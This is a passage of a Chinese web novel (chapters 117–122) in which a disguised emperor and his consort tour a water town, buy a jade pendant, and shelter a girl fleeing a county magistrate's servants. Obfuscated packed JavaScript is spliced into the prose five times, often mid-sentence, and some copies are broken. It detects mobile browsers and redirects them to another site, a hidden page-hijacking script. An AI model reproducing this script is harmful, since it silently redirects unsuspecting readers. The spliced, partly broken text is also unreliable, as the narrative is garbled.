阳光正好,打在水面之上波光粼粼的样子美极了。 她有感而发,顺嘴问了一句:“三爷,从前您来过水乡吗?” 刚才的谈话之中,姜念秋隐隐觉得季寰貌似对每一处风景山川都很了解。 很多她都解释不来的地貌,季寰很轻易地便能点明。 着实厉害。 还以为他会点头,没想到居然是摇了摇头:“很小时出来过一趟,但记不清楚了。” 那一次,也是父皇带着母后出宫。 只不过那一次可不是微服私访,架势也比这回大上许多。 他年岁尚小,记不住也是人之常情。 此次不同。 季寰望着姜念秋那张素面朝天,却清丽动人,怎么看怎么舒坦的脸心中动容。 突然间起了要捉弄她的意思:“这回应该记忆还挺深刻的,尤其是你独一份儿的杀鱼法子。” 头回见着杀鱼不用刀,用木棍子敲的。 也许那鱼肉质地十分紧实,也有她捶打过度的功劳? 姜念秋的脸颊瞬间烫红,因为是被故意挑笑,她一时间忘记了二人身份有别,没用敬语:“你笑话我!” 头一次有人敢这般和他说话,季寰不怒反笑得更加灿烂。 带着这丫头出行,是个不错的决定,像是微服私访中的笑果一样。 在船上不能呆太久,他们在一半的路途上下了船,一部分的人去收拾驿站,其余的则跟着季寰和姜念秋,守护他们安全。 这几日活动范围受限,可算憋坏了姜念秋,她快步就要从船头往岸上跳。 哪里像个姑娘家。 季寰生怕她就那么掉下去,心跟着揪了揪。 还好,人稳稳当当地落地了。 她甚至还拍拍手,在岸上准备拉季寰一把。 第117章 砍价风云 第一百一十七章砍价风云 望着那只白`皙`柔`软,相较于季寰很小的手,他眼眸之中难免会浮现出些许涟漪。 姜念秋注意到了这一点。 貌似自从出了宫,季寰展露出来的情绪越来越多了。 当真是件好事儿。 就算是皇帝,那也不能把事儿都憋在心里吧,都把人憋坏了! 踏上岸后,恰好遇着了一处十分热闹的集市。 姜念秋眼睛一亮,拽着季寰就往前走。 密卫史奕吓了一跳,赶紧附在姜念秋跟前劝道:“还请三少奶奶慢些,待部署之人返回消息后再行至远处。” 派出去部署的人马上就回来,还是得保证足够安全才行。 总算是报告前方一切正常。 她早已迫不及待,指着远处,语气轻快道:“三爷,前面有集市,我们到那儿看看,您看可好?” 看某个地方是否繁华,且看这地儿的集市是否人声鼎沸,吃食是否花样繁多就好了。 季寰微微点了点头,姜念秋立刻像是脚底抹油了,没多久消失在了人群之中。 不过有人跟着她,倒也不至于走丢了。 集市上人来人往,好不热闹。 季寰看着,心里也舒畅。 百姓过得好,必然当地赋税等还算不错,也就能让他稍稍放松一些。 突然间,一个小摊儿吸引了季寰注意力。 他在那摊位前驻足。 姜念秋在前头等了一会儿都不见季寰身影,她只能返回来找。 “三爷,您看什么呢?” 定睛一看,原来是一个卖玉石珠宝等摊位。 别看这摊位之上东西繁多,但季寰只动手碰了一件。 他神情专注地盯着那羊脂玉玉佩,手指尖轻柔抚摸着。 刚才,他就是被这一件扔进堆里的玉佩给吸引了目光。 看似不起眼,实则大有学问。 那摊主见他对这玩意儿有兴趣,赶紧起身来招揽生意:“这位爷,您可真有眼光,这可是边疆来的羊脂玉,难得的好玉,若不是它的主子潦倒,怎么也不会任由它流出的。” 这套说辞估计套用在任何一件玉石或者是首饰上都会适用吧? 姜念秋撇了撇嘴巴,显然是不愿意相信摊位老板的三寸不烂之舌。 她会如此,是因为趁着方才,已经将整个摊位扫过一遍。 不知是否好东西司空见惯,只需要几眼,她就能看出来那摊位上没什么好东西。 除了几样看起来还算不错的老旧首饰之外,就全是假货了。 所以她有些奇怪,季寰怎么会在这种地方驻足。 季寰没理摊主自卖自夸,只是手指勾住玉佩配绳,将玉佩掉了起来,放置在姜念秋眼前,问她:“喜欢么?” 玉佩经由阳光照耀上来,通体莹润透亮,还隐隐能看出里面的水头。 这在羊脂玉里,极为难得。 上头的雕刻也确实好看,是鸳鸯戏水夫妻和美的图样。 怎么看都和整个摊位的货色格格不入。 注意到绳子上的污渍,姜念秋瞬间明白过来。 这老板根本就是不识好赖的,把真的假的掺杂在一起卖了。 姜念秋用仅有他们两个人能听见的声音说道:“是好看,我还没见过这样子的玉佩呢。” 宫中玉佩鲜少雕刻这样的图案,多是龙凤山水。 季寰挑眉,觉得自己和姜念秋的喜好撞在了一处。 摊主感觉出二人是一对儿,见状赶紧可着劲儿地给他们拍马:“诶哟,夫人,您和夫君当真恩爱,十足的夫妻相,真是人间鸳鸯仙羡煞他人,和我这玉佩简直过分相配了!” 摊主说完后,季寰唇边勾起的弧度越来越大。 姜念秋真想感叹,买的还是不如卖的精。 看来今儿个,季寰估摸着是要被宰了。 姜念秋一个社会经验如此丰富的人,怎么可能让这时候的商贩把她耍弄了? 她故意冷下语调:“摊主,不得不说您的口才可真是好。” 只有一个唱白脸,一个唱`红脸,才有可能让摊主产生危机感,从而低价拿走玉佩。 这种不识货的货主,随便糊弄糊弄也是一样的。 不曾想姜念秋抱着这样的想法,可季寰不是。 他完全沉浸在玉佩是好东西,以及摊主说的羡煞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15821854|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁人之类的话语中了。 没等姜念秋的谋算得逞,人家直接叫人取了五两金子递给摊主:“档主,东西我要了,这个可够?” 金子闪亮,都要晃瞎摊主的眼睛了。 他立刻狂点头,把金子牢牢地攥在手心里:“够够够,尽够了,您可真就挑走了我摊子上最好的东西了,这位爷真是有眼光。” 他嘴上夸奖,实际上心中暗叫发财了发财了! 这能抵得上他所有货物买来的价格了,自然是他占了便宜。 可其中谁输谁赢,只有内里行家才知晓。 姜念秋被眼前这位爷的大方气的脑仁炸裂:“三爷,不是怎么就……” 季寰轻轻摇头,把玉佩又晃了晃:“转过来,我替你带上。” 君王的话,姜念秋不可能不听的。 她乖乖地转过身去。 那是个并不大的玉佩,只能做挂脖,而非随身佩戴。 季寰叫人抽出一根金缕线,手上十分灵巧地挽了绳结,戴在了她胸前,见和她一身藕粉色襦裙极其相配,便拉扯着她离开了摊位。 走开后,季寰余光内见她一直都在摆弄着那个玉佩,脸上没见有多高兴的样子。 修长手指很轻地蹭过她的脸颊,如同羽毛,引起了姜念秋侧头看他。 季寰凑近她的耳朵问:“不喜欢?” 以往他送姜念秋首饰,她都挺高兴的。 唯独这一次,姜念秋似乎兴致不高。 可他又心知此人并非拜高踩低之人,绝不会因为这是小摊上买回来的就不喜爱。 果然,姜念秋看东西的眼神是欣赏的,只是叹了口气说:“不是的,瞧着就是好东西,臣……我很喜欢。” 如果东西不好,季寰绝对看不上。 再加上图案意头极其好。姜念秋是喜欢的。 宫里的东西再价值连城,都比不上她胸前这个玉佩给她带来的欢喜多。 可心里就是很别扭,怎么都是别扭。 季寰很奇怪,将人转过来:“那你怎的不高兴?” 从摊位上离开后,姜念秋整个人都不对劲儿,跟失了魂儿似的。 方才下船可不是这般。 第118章 真实面目 第一百一十八章真实面目 若不是听她亲口说喜爱,季寰真的以为他买东西买错了。 姜念秋眨巴眨巴长长睫毛,眉毛又变成了倒八:“您瞧出来啦?” 还用瞧么,全在她脸上写着呢。 满脸都写着:我并不是那般欢喜。 季寰无奈,没有明说。 二人站在街上总归不是个说话的地儿。 他们找了个茶楼坐下,待一壶上好龙井上来后,只有姜念秋喝了那茶水。 季寰不过闻了闻就放下了。 他才是真真喝不惯这种茶。 反倒是姜念秋,觉得都是解渴用,没什么两样。 她趁着周围没什么人,才将内心的想法和盘托出:“我不是因为三爷买给我这么好的东西而不高兴,就是我想着还能还还价什么的……” 那摊主摆明了就是不怎么懂货。 虽然说给他五两金子也是和玉佩价值勉强相抵,可是那摊主显然并非以这个价格来买卖的。 季寰这么做,不就是被当成了冤大头么! 姜念秋怎么能忍受得了这种事情发生! 奈何他给钱给的实在太过畅快,根本没给姜念秋施展“才华”的空间。 叫她出手,玉佩的价格能减下去三分之二! 家大业大,也得精打细算地过嘛! 她心里这么想,竟然也就说顺了嘴说了出来。 闻言,季寰先是怔愣片刻,随后手肘撑着桌子扶额,都笑出了声。 那爽朗的笑容光是听着都悦耳。 可姜念秋没感觉这有什么好笑的。 不解地问:“您笑什么?” 倒不是这事儿有多好玩儿,而是季寰觉得新奇。 姜念秋不因为东西足够便宜而不高兴,反倒是因为他没给她和摊主有来有回地讲价而不快。 这在他见过的所有女子之中,都是见也没见过的存在。 季寰摆摆手,终于是笑够了。 他温热的掌心贴在姜念秋的手臂上,轻声哄着她:“这么说来,是我没什么经验,下次由你来讲,如何?” 姜念秋凝视着那张还残留着笑容的俊颜,心跳漏了一拍。 果真是美男一出手便知有没有。 更何况是个“知错就改”的有钱有势的大帅哥。 什么不高兴全被姜念秋跑到了九霄云外了。 她重重点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15821855|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一只手还不忘握住季寰的手背,语重心长地说道:“这才对嘛,家大业大,也不能浪费丝毫!” 季寰再一次被逗笑。 他还是头一次见着劝说叫他不要浪费的女子。 虽是新奇,却也说得是有道理。 他看向姜念秋的眼神之中又多添了一层深意。 心结解开了,姜念秋在集市上玩儿的便更加上劲儿。 她一连买了好多小吃,那架势就跟要把街市上的东西全塞进肚子里一样。 可集市那么大,怎么能叫她轻易如愿。 姜念秋生怕马上就又要回到船上,双手合十求他:“三爷,我们能晚些再去下一个驿站吗,我想在这儿多呆会儿。” 此刻已经是逛了足足一白天的人了。 可她依旧不见丝毫疲态,倒是季寰,看完了百姓生活常态后,并不想多穿梭在人群之中。 太挤了。 甚至还有女子将身子故意往他这边挤,密卫们也不好直接把人推开,全靠着季寰躲避。 到后来,完全是密卫把季寰和姜念秋围成了一个圈儿。 此等尴尬的事儿,季寰更不愿同姜念秋说起。 只是…… 第119章 求救 第一百一十九章求救 那些话突然间刺进季寰心里。 像是被人说中了深埋在心底的小秘密一般。 他低下头,借着漫天的烛光,见着她红润的脸颊。 是那般娴静。 紧接着,她失去了平衡,撞在他锁骨上。 季寰也任由姜念秋软软地靠在怀里,手上掐了她腰间软肉一下:“玫瑰花酿喝多了,再说胡话就把你丢进湖里喂鱼了。” 说着,轻而易举地将她手里的玫瑰花酿拿走。 姜念秋腰间有些怕痒,下意识扭`动腰肢。 她伸手便拍了季寰的脸一下。 都拍出声音来了。 季寰懵了,可对方一丁点儿自己闯祸了的自知之明也没有。 下一刻,柔`软的唇贴在她打过的地方。嘿嘿闷笑:“我才没醉呢!” 没醉? 鬼才信。 姜念秋要是没醉的话,她敢抬手往他脸上招呼啊? 意识不清明就不再适合游玩了。 季寰空着的手略微抬了下,船家立刻明白,掉转船头往岸边靠。 在她彻底睡过去前,手挂上男子脖颈,在他耳边黏黏糊糊地说了句话:“如果你不是那个位子上的人,只属于我一个人,就好了……” 是她清醒着无法说出口的话。 萦绕在心头许多次的话。 不是高处的那个人,只是属于她的一个人。 可惜,很像是梦。 到了岸上,季寰竟将人背在了背上,一路背回了驿站去。 小翠上前要帮姜念秋擦脸,季寰将毛巾接了过去:“给我吧,我来就行,你退下去休息吧。” 温热毛巾触碰到她的脸,姜念秋感觉到舒适,蹭了蹭身子。 清晨,散落进来的阳光照在姜念秋面庞上。 有些痒痒的。 她揉揉惺忪睡眼,缓缓张开眼。 季寰站在床边衣架子前,已经穿戴好了。 听见响动转过身来看她:“醒了?” 宿醉苏醒过来的人脑子反应慢,很是迟钝地点了点头。 季寰过来,微微俯身。 手指屈起来,在她脑门上敲了一下。 这下姜念秋算是彻底清醒了。 “起来梳洗一番,我们该到下一处驿站了。” 约定好的两日限期已到。 该走了。 小翠推开门进来帮着梳洗打扮。 上路后,姜念秋觉得窗外景色十分不同。 貌似还能感觉到集市上的某些热闹气息。 她奇怪地往季寰身边蹭了蹭问:“三爷,我们怎么没走水路和官路啊?” 这时节走水路和官路不是更快吗? 季寰不动声色地看了姜念秋一眼,没说话。 还是小翠明白季寰的心思,她没在皇上跟前戳破他的用意,用了个并不真实的理由解释:“主子,有大人说这几日官路上可能有雨,我们绕一绕便能躲过去了。” 期间,姜念秋去解手的时候,小翠才告诉她,并非如此。 是季寰见姜念秋没玩儿够,想着走这条道还能多感受些风土人情。 不走水路也是怕她在船上无聊。 姜念秋愣了愣,谁说帝王家的人不懂这些曲曲绕绕的? 她嘿嘿一笑,回到马车上后便对季寰殷勤了些。 季寰则是挑眉,冷冷说了句:“无事献殷勤,非奸即盗。” 这人的嘴,真的是毒! 毒就毒一点儿吧。 反正知道他在乎自己也就够了。 被数落了的姜念秋不怒反笑得更加灿烂。 就这样走出大半天去。 下午简单修整之后再次启程,周围便少了许多人声鼎沸的喧嚣,多了些乡村宁静。 他们走上通往另一个县镇的路上了。 季寰正闭眼假寐,姜念秋则和小翠玩儿线绳游戏,听得外头好像有女孩子叫嚷的声音? 随着逐渐靠近声音来源,他们也终于听清楚了对方在喊什么。 是女子在喊救命! 随后,他们的马车被女孩儿逼停。 一身着破烂衣衫的面容姣好的女子跪在第一辆马车前,慌乱不堪地连连磕头,双手合在胸前,带着哭腔道:“救命啊!求大人救救小女!求您救命!” 为首的史奕愣了下,提醒周围人全部戒备。 偏偏姜念秋是个不按照套路出牌的女娃娃,她趁季寰一个没看住,直接掀起了旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15821856|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的侧帘往外看。 看就算了,还要探出去大半个身子。 季寰一手便把人给拉了回来,眼睛一横瞪她。 姜念秋似乎根本没在乎外头的人是不是很危险,直接站起身出了马车,动作快到季寰的手不过抓住了她的衣摆而已。 待看清楚了那姑娘的脸色后,姜念秋直接跳下车,还冲着车里道:“三爷,是个虚弱的姑娘!” 一系列操作叫史奕瞠目结舌。 从前听说过宜妃“威名”,没想到竟是这般大大咧咧的性子。 自姜念秋下车后,所有侍卫全部警戒加了几分。 她可是皇上的心头肉,万一出些什么事端,都担待不起的。 姑娘跪在地上,不时地往后面看去,见姜念秋往她这边走。 小姑娘立刻声泪俱下,不停地给她磕头,哪怕是吃了一嘴掀起来的泥巴也不在乎。 “夫人,求您救救我,县令家的家奴到处抓我,求您藏我一时半刻,小女定会感恩戴德!” 她的目光与姜念秋相撞,姜念秋被看得浑身一抖。 其中满是绝望。 姜念秋左右看看,貌似在很远的地方,确实有零星的几个人朝着这边张望,但由于从林茂生,遮挡了他们的视线。 “他们为什么抓你?” 姑娘哽咽道:“县令想纳我为小妾,小女不从,求夫人可怜我!” 闻言,姜念秋心神巨震,季寰说南边儿税赋不怎么清明,那必然是别的也有所不稳定。 但没想到会乱成这样。 她简直不敢相信,一方父母官能做出这种事情来。 “光天化日之下,强抢小女啊?” 他们此行的目的自然不能只是查清税赋,百姓的安危喜乐也得管管吧? 想着,姜念秋眉目正色一些,回头看向后面的马车。 果不其然,季寰担忧她,出了马车。 他居高临下,审视地瞧了几眼跪着的人。 姜念秋也是完全没有设防,折返跑回季寰身边,将姑娘说的重复了一遍:“三爷,咱们既然撞见了,总不能不管吧?” 他乃天下之主,遇着民生疾苦自当不能视而不见。 因为一件事情往往透露更多。 第120章 斗家丁 第一百二十章斗家丁 季寰只是默默地看着那个女子,眼看那头的家奴好像已经注意到这里,那小女子越来越焦急,马上就要自行离开。 直到此刻,季寰才缓缓出声:“史奕,把她安顿到后面的马车之中,叫人给她瞧瞧伤处。” 与他们一行的还有给姜念秋瞧病的太医。 史奕得了命令,立刻叫人把那姑娘遮掩得牢牢的,从任何方向都不能窥得半分。 带着女子走过去的时候,季寰不忘吩咐史奕:“她的马车派人看守。” 来历不明的女子,话不能全信。 这些史奕全然明白,颔首:“是,属下明白。” 姜念秋没明白季寰话里的含义,只是注意到了那姑娘露在外面的手臂上满满的伤痕。 她一定受了许多苦。 那边儿,已经有几个人在往他们这个方向走来了。 若真如那姑娘所说,只怕这些人是得教训。 他不能叫姜念秋看着不太好的一幕。 于是伸手在姜念秋腰上推了把,叮嘱她:“你先到车上去,没我的话不许出来,探个头也不行。” 姜念秋乖巧点头:“知道了。” 她也觉得那姑娘需要人安慰安慰的。 季寰没听见姜念秋上他们马车的声音,一转头,居然去了救下那女子的马车之上。 他无奈极了,这妮子是真够天真的。 罢了,横竖马车旁边有人手看着,应当出什么事儿都能有所察觉。 如此,他便站在那儿,望向又折返回去汇报的那几个人。 在前头的那几个家奴看起来应当品阶不高,没有独自上前的权利。 他们指着季寰站着的地方:“头儿,我亲眼看见的,就是上了这队人马的车上!” 所谓的头儿仰首看过去,一眼便注意到第二辆马车前的男子。 貌似气度不凡。 嗯,马车好几辆,是有这个可能性。 头儿挥手,几人便走到了车队跟前。 离近了看,果然判断没错。 此人身上矜贵异常,同家奴见过的知州都不同的做派。 可惜,他们没能走近那男子。 因为被前头家丁打扮的一行骑马壮汉拦住了去路。 他们看着便像能打几拳的,家奴们并不想轻易动手,不合算。 那个头儿拿着鞭子,冲着季寰喊:“过路的,我奉劝你一句,赶紧把人交出来,不然,咱们县令爷叫你们好看!” 季寰瞥见那条鞭子,意识到方才一晃而过的姑娘手臂上的伤痕,大概是在逃跑途中被抽到了。 还真够狠的。 听见努力逃离的声音就在不远处,姑娘身子颤抖得更加剧烈了。 她压低嗓子,双眼之中是迫切,清泪止不住地从眼眶中涌出:“夫人,我求求您,您千万别把我交出去,我给您当牛做马都行!” 说完,那姑娘直接滑跪在地板上。 还好马车足够稳当,才不至于晃出动静叫人发现。 姜念秋所见过的可怜人不过是秋雁最为明显。 可眼前人比当初的秋雁还要流露期盼。 很久远前才出现的同情心在此刻再次泛滥。 “姑娘,你快起来!”她伸出手把人拉起来坐好,拍了拍那姑娘的手背,动作极其轻柔,“你放心,我们不会弃你于不顾的。” 既然是已经知道了这件事情,就一定管到底! 季寰从来不是做事情没有头尾的人。 说完,姜念秋给太医使了个眼色,叫太医赶紧看看她身上非隐秘之处的伤痕都是怎么回事。 太医再把过脉,便能诊断个八`九不离十。 他恭敬道:“夫人且放心,这姑娘只是外伤,并不要紧的。” 只要不是威胁生命的伤势,那就还有希望。 姜念秋也算松了口气:“好,劳烦您替她诊治诊治。” 随后,太医便拿出些消毒的药水和对症的药膏来。 小翠拦在姜念秋和那个姑娘之间,说是照顾人这种小事由她来做即可,不需要夫人出手。 这丫头,今儿个有些古怪呀? 以往哪里敢不经允许是挤开姜念秋? 不是她觉得不合规矩,而是小翠行为却是超乎寻常了。 外头,季寰和为首的家奴僵持不下。 季寰眯着眼,整个人散发着如冰山般的冷漠阴寒。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15821857|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他突然笑了笑,但笑意尚未到达眼底:“倘若我就是不交呢?” 头一次有人敢那般不敬地和他说话,以往都走官道或者水路,从未走过小径,当真是此次出巡来的一次新奇体会。 为首的家奴脸色瞬间阴沉了下来。 他上上下下把那男子打量个遍。 此人身上穿着的貌似说苏绣……他家县太爷穿的就是这种。 哪怕是用黑线走针,也能看出来所费不菲,定然并非简单之人。 于是,为首的家奴退了一步:“这位爷,您看这样成么,我放你过去,你把人随便当街一放,我们兄弟几个不追究你同这事儿的关系,彼此间行个方便,如何?” 若是当真只是个过路人,没准儿就会答应他了。 可惜,季寰并非如此。 他幅度很小地摇了摇头,唇边还是一抹意味不明的笑。 为首的家奴也算是耐心耗尽了,鞭子收紧又“啪”得弹出来,打得小块儿土地尘土飞扬。 “嘿——真是敬酒不吃吃罚酒啊,弟兄们,给我上,把那小女子抢出来!” 给脸不要,就别怪他们不给面子了! 季寰就连眉头都没皱一下,依旧不动如山,甚至眼底玩味的笑意越发浓重了。 史奕等人迅速围绕在季寰身边:“保护三爷、三少奶奶周全!” 史奕一个箭步上前,徒手接住了家奴的一鞭,轻而易举地收手便将鞭子收为己用。 一时间家奴有些慌了神,开始毫无目的地进攻。 姜念秋和姑娘等人坐在马车上,并不知道外头形势究竟是怎样,只能听着声音来辨别其中状态。 就连姜念秋也心中隐隐不安。 季寰……应该会没事儿的吧? 姑娘急得无声哭着:“夫人,小女对不住您,给夫人和爷惹了麻烦了。” 在姑娘视角下,是由于她的病急乱投医,才叫人家一家身陷囹圄。 她是罪人。 这样想着,姑娘泪意越发汹涌了。 就算姜念秋担心,但也不能自己乱了阵脚。 她开口劝阻姑娘不要再哭,后又撒谎道:“没事儿,这点儿麻烦他应该没放在眼里。” 第121章 惩戒 第一百二十一章惩戒 “真的吗?”姑娘怔愣地看着姜念秋。 “真的……吧。” 好歹是皇家密卫,对付几个长随家丁应该不成问题。 和姜念秋想的一样,她这儿话音刚落,外头胜负已分。 所有的家丁已经全被摁在地上,脸上喝粗粝沙子接触,蹭的灰扑扑一大片。 季寰走上前,捡起了史奕随手丢出去的鞭子。 倒不是什么好玩意儿。 他顺手扔开,一只脚踩在和他叫板的家丁背上,脚下用力碾了碾,引来那家丁凄惨喊叫。 还以为是什么硬骨头呢,不过是内里虚的假把式而已。 季寰蹲下身去,抽出史奕身上佩刀。 冰凉佩刀在他面上游走,仿佛下一刻便会隔断家丁喉管。 再开口时,季寰声调完全是肃杀了:“如何,你们这杯罚酒还要我吃么?” 家丁吓得出了一身的冷汗。 不知道是哪里来的直觉,他就是觉得眼前之人若是不高兴了,肯定能做出用刀刃割烂他的脸这般事儿来。 他赶紧更着嗓子求饶,此时已经完全没了在刚才叫嚣的那股子劲儿了:“大爷!大爷!我叫您大爷!我这也不是故意和您过不去不是?主要是主子家我实在过不去呀!” 县令才是他的正主。 人家正主说了让他寻人,他哪里知道今儿个能碰上个硬茬子帮那个小娘们呢? 刀面拍了拍家丁的脸,似是无声的警告。 姜念秋听着好像外头没什么大动静了,悄咪`咪探出一颗脑袋来。 她看到的就是这样一幕——身高腿长俊朗非凡的男子,单膝蹲着,一脸冷漠地惩治着恶人。 虽说有点儿玛丽苏,但不可否认是真的帅啊! 姜念秋看着看着,有些失神,还是小翠提醒她不要让人发现了她才恋恋不舍地挪回来。 季寰问家丁:“你主子说了让你今日必须找着人了?” 树挪死,人挪活。 总归有个法子能解决眼下困境。 家丁愣了愣,傻了吧唧地被季寰牵着鼻子走。 他还真的好好思考了一番,回应道:“那倒没有……” 县令不过是说要他们把人请回来,没说是今天还是什么时候。 季寰最讨厌没有脑子的人,可看着此人轻易被他利用了,心情舒畅了些。 他短促地笑了笑,把佩刀重新插`进了史奕腰间,起身道:“那你便说没找着人,此事也就算完了,以后再说以后的事儿,横竖我在这儿也待不了多久。” 这话说的倒是不佳,距离到南边税赋最严重的地方还有些路途呢。 不能为了个丫头,耽误正事儿。 “这是给你的谢礼,”季寰一抬手,有人在家丁眼跟前摔了一荷包银子,“松绑。” 那荷包在地上摔下,发出沉重的声音。 家丁眼睛冒着绿光。 今儿个这顿揍没白挨啊。 只是听声音也知道其中分量顶得上他们几人好久的月钱了。 史奕松绑,那家丁连滚带爬地收好荷包。 县令的人转眼间全部为季寰所用。 他们对着季寰连连叩头:“谢大爷赏!” 磕头后,为首的家丁说了句:“弟兄们,这儿没那姑娘踪迹,哥儿几个到别处找找去!” 声音传到了后面的马车上,由此,那姑娘也知道自己脱离了险境。 姜念秋忍不住又掀开帘子去看,这回直接对上了季寰带着怒气的眼神。 吓得她赶紧缩回脖子来。 乖乖,他又没打架,怎的杀气比密卫们还要重啊? 不过她还是安慰了下那姑娘:“瞧,这不就走了?” 由此可见,季寰为了这次出巡是做足了准备的。 那些个人再来十来个,密卫们也能解决掉。 就是不知道类似的人手,季寰藏了多少。 珠玉一时间没忍住泪意,哇的哭出声来,又扑向姜念秋跪倒在地,一个劲儿地磕头道谢:“谢谢爷,谢谢夫人!珠玉粉身碎骨难报大恩大德!” 珠玉动作太快,小翠吓得以为是自己担心的事儿出现了,一个箭步挡在姜念秋身前,没想到只是闹了个乌龙。 “姑娘,你快起来!刚包扎好的伤口,这么动弹得拉到了!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15821858|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >身上的鞭痕什么的倒是其次,就是她被吓得不轻,是得躲休息一段日子才行。 姜念秋想了想,问:“你叫……珠玉对吗?你接下来就跟着我们走,放心吧,没人敢欺负你。” 站在马车外的季寰听到这句话,脸都黑了。 这丫头是真心善,什么人也相信。 胆子也够大,什么热闹也敢看。 他憋不住内心深处的愤怒,一拳头捶在马车轮轨上。 珠玉磕头都没震动半分的马车在此刻摇晃了两下。 随后便是季寰压制着怒意的声音传进去:“姜念秋,下来。” 姜念秋尴尬地扯扯嘴角:“那、那我就先下去了。” 见人出来,季寰没等她,转身往他们的马车方向走。 这股子气儿来的莫名其妙。 姜念秋亦步亦趋地跟上去,看在刚刚他那么帅气的份儿上,愿意做一回狗腿子。 上车后,姜念秋不顾季寰黑脸,就是要缠住他胳膊,还用分外柔`软的声线说话:“三爷,您救了人,刚才那叫一个潇洒,怎得还不高兴呢?” 救了人可是积德积善的好事儿。 季寰在姜念秋心中形象再一次高大了一些。 听着她那语气里丝毫没有认错的意思,季寰气得直接把脸转过来,直勾勾盯着她。 引来姜念秋肩膀瑟缩,讨好地笑笑。 可他暂时不吃这套,只是一味地质问姜念秋:“你为何不听我话?” 叫她上自己马车,她非要和那姑娘坐在一处。 叫她没有他叫不许出来,她还偏偏要探出个脑袋来。 知不知道这种时候是明哲保身最为重要? 姜念秋被问得迷迷糊糊的。 季寰简直要被她的糊涂样子气坏了,伸出手狠狠掐了把她柔`软的脸颊:“你知道那姑娘是正是邪?随意留在她身边?” 这次可不是和姜念秋闹着玩儿的,他是抱着惩戒她的意图来的,自然下了狠劲儿的。 掐得姜念秋直喊疼。 “三爷!三爷!疼!” 季寰这一下子是揪空了她一部分腮帮子软肉,她差点儿说话流口水。 第122章 痛陈冤情 第一百二十二章痛陈冤情 丫头虽是龇牙咧嘴,但看着根本没意识到自己的错误,还想着上手把季寰的手打掉。 这下可是彻底惹到了身为皇帝的威严。 他迅速放开姜念秋的脸颊肉,转而去寻她腰间最为致命的弱点。 “跟朕犟,是吧?” 说着,他的手蹭过那些地方。 姜念秋瞬间缩起身子来,脸上涨得通红一大片。 “不了不了,臣妾不敢了!” 她伸手挡在腰间,生怕季寰再上来折腾她。 别的都还好,就是这个痒到骨头里的感觉,她实在无法忍受。 二人突然间露出原本称呼,均意识到不对劲,季寰更加傲娇了。 他微微仰着下巴,眼睛微微眯起,可分明就是在瞪她:“知道错了?” 此时受制于人,姜念秋只能低下头来:“是是是,我那时候想错了,叫三爷担心,是我不对。” 生怕腰间再受折磨,认错是最合适的法子了。 这副模样可不一定是真的知道。 念在她好歹不和自己犟,季寰便将自己的担忧说了出来。 再可怜的人,也有可能是刺客的风险。 偏僻京郊突然跑出来这么个姑娘,若真的是心怀鬼胎,姜念秋那样子放松警惕,叫人坐进马车,她的性命如何保? 本来他没必要剖析清楚,没想到她是个愣头青,说清能省去以后的麻烦。 经这么一分析,确实是有风险的。 还好,那女孩儿是真的受了苦。 趁着姜念秋失神的时候,她额头上被狠狠地敲了一下,季寰对她佯装着放狠话道:“如果有下次,我就把你丢回京城去。” …… “都走了这么远了,您送我回去多花一趟车马钱,多不合算呀!” 况且,她才不信季寰会这么狠心呢! 虽然是劈头盖脸挨了一顿骂,可不知为何,她的心里居然还甜滋滋的。 甚至眉眼之中隐隐藏着笑意。 季寰瞪她:“还笑?” 